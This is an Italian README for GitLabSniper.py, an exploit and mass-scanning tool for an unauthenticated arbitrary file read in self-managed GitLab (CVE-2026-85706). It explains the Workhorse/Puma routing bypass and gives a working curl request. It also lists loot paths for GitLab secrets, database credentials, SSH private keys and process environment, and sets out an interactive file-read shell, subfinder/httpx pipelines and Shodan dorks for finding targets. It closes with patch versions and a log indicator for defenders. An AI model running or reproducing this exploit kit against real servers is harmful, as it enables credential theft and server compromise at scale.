
Scanner ed exploit Python in un singolo file per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE self-managed, con enumerazione dei progetti, percorsi di loot e una shell interattiva.
CVE-2026-85706 — lettura arbitraria di file non autenticata in GitLab CE/EE
rilevamento · enumerazione progetti pubblici · loot · shell interattiva · pipeline subfinder/httpx
Autore: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Sito:
Da utilizzare solo su sistemi di tua proprietà o per i quali sei esplicitamente autorizzato a eseguire test (bug bounty / VDP / contratto scritto).
GitLabSniper.py è uno scanner/exploit Python in singolo file per CVE-2026-85706: una lettura di file locale non autenticata in GitLab Community Edition ed Enterprise Edition self-managed.
Non si ferma a "la versione sembra vulnerabile". Esegue il bypass del differenziale del parser di Workhorse, classifica la risposta di Rails e stampa FILE LEAK solo quando il body 400 contiene i byte del file all'interno di invalid %-encoding (...).
| Fascia | Versioni |
|---|---|
| Vulnerabili | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Corrette | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Fuori scope | gitlab.com · GitLab Dedicated |
Tre endpoint del repository si trovano dietro il requestBodyUploader di Workhorse:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails prende il campo grezzo file.path ed esegue File.open prima di authenticate!. require_gitlab_workhorse! non è un vero gate qui: Workhorse appone già un JWT valido Gitlab-Workhorse-Api-Request su tutto ciò che proxa.
Workhorse dovrebbe riscrivere prima l'upload. La sua regex di routing corrisponde a EscapedPath() e a un clone path.Clean che non decodifica mai il percent-encoding. Puma decodifica invece %XX prima del routing di Grape.
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← anche lo slash finale sfugge
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse la regex vede "%63ommits" / "commits/" → MISS (nessuna riscrittura)
│
▼
Puma decodifica %63 → commits → ROUTES verso Rails
│
▼
Rails File.open(params[:file][:path]) → PRIMA dell'auth
│
▼
Rack parse_nested_query(File.read(path))
"%" isolato che non è %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<byte grezzi del file>)
file= vuoto soddisfa requires :file, WorkhorseFile (vuoto → nil). Il canale di leak è il ramo urlencoded. JSON/Oj non riflette i byte del file allo stesso modo — lo strumento invia sempre Content-Type=application/x-www-form-urlencoded.
//, /./, %2F e ; non bypassano: path.Clean normalizza i primi due e Puma rifiuta %2F.
L'id del progetto non è "da quale repo rubare i file". file.path è un percorso assoluto sul server. L'id è solo il pezzo di URL che raggiunge il controller vulnerabile.
| Endpoint | Requisito sul progetto |
|---|---|
files (%66iles) | Spesso funziona qualsiasi id — File.open avviene prima dei controlli sul progetto |
commits (%63ommits, commits/, commits.json) | Serve un progetto su cui un utente anonimo possa fare read_code. Altrimenti 404 Project Not Found |
Ecco perché lo strumento enumera GET /api/v4/projects e salta gli id gated.
Un leak confermato richiede questa sottostringa nel body:
invalid %-encoding (
I file senza un % isolato possono comunque essere aperti (read-noecho / successivamente branch is required) ma non verranno riflessi. Quello è un oracolo, non un dump segnalabile.
x-gitlab-* / sign-in) + range di versione quando visibileGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, chiavi ssh, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI rimosso-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Nessun'altra dipendenza.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin non è un TTY → --pipe è implicito
cat hosts.txt | python3 GitLabSniper.py --auto
Il parser accetta:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host nudo e host:port[0] / timeout / vuote| Flag | Significato |
|---|---|
-u / -t / --target | URL base singolo |
--pipe | Legge i target da stdin |
-f / --list | File di host |
--file | Un percorso assoluto da leggere |
--auto / --loot | Lista di file GitLab ad alto valore |
--shell | Shell interattiva di lettura file |
--project-id | Forza l'id del progetto (default: enum + fallback) |
--max-projects | Limita gli id di enum/fallback (default 8) |
--force | Scansiona anche se il fingerprint è debole |
--threads | Worker della pipeline (default 8) |
--timeout | Secondi (default 15) |
-o | hits.json o hits.jsonl |
-q | Silenzioso |
--no-banner | Nessun banner |
Codici di uscita: 0 leak · 1 solo oracolo / nessun leak in pipe · 2 nessun segnale utilizzabile.
| Tag | Significato | Segnalabile? |
|---|---|---|
leak | invalid %-encoding ( + byte del file | Sì — confermato |
leak-fragment | Riflessione parziale | Forse, allega il body |
read-noecho | 401 / branch is required dopo l'apertura, nessun % nel file | Solo oracolo |
missing | local file not present — il bypass ha raggiunto il disco | Oracolo di esistenza |
project-gate | 404 Project Not Found | Prova un altro id pubblico |
rewrite | Workhorse ha riscritto il body (Invalid json) | Questa forma è morta |
noroute | 404 semplice | Corretta o percorso errato |
other | 500 / residuo | Esegui il dump del body prima di dichiarare |
Non aprire una segnalazione critica basandoti solo su read-noecho.
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
Impatto massimo quando vengono riflessi: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, password del DB).
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
Un'istanza vulnerabile restituisce un JSON simile a:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
Su alcuni host %63ommits restituisce 401 e /repository/commits/ (con slash finale) è la forma che causa il leak. Lo strumento prova ogni variante.
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
Da abbinare a subfinder | httpx | GitLabSniper.py --pipe --auto.
Questo repository è destinato a test di sicurezza autorizzati e validazione difensiva dopo la patch. Sei responsabile dello scope.
Se gestisci un'istanza GitLab self-managed nel range interessato: aggiorna subito a 19.1.8 / 19.2.6 / 19.3.2. Cerca negli access log richieste POST /api/v4/projects/*/repository/commits con un parametro di query file.path.
Vulnerabilità segnalata da s3ntago tramite GitLab HackerOne.
Write-up e PoC originale su cui è costruito questo strumento:
Grazie a guneykabel per aver pubblicato un classificatore chiaro (leak / missing / project-gate / rewrite) e la spiegazione del differenziale Workhorse ↔ Puma. GitLabSniper avvolge quel modello con enumerazione progetti, loot, shell e pipeline di ricognizione.
Advisory / patch GitLab: CE/EE 19.1.8, 19.2.6, 19.3.2.
Yunus Emre Öztaş · mitsec
[email protected]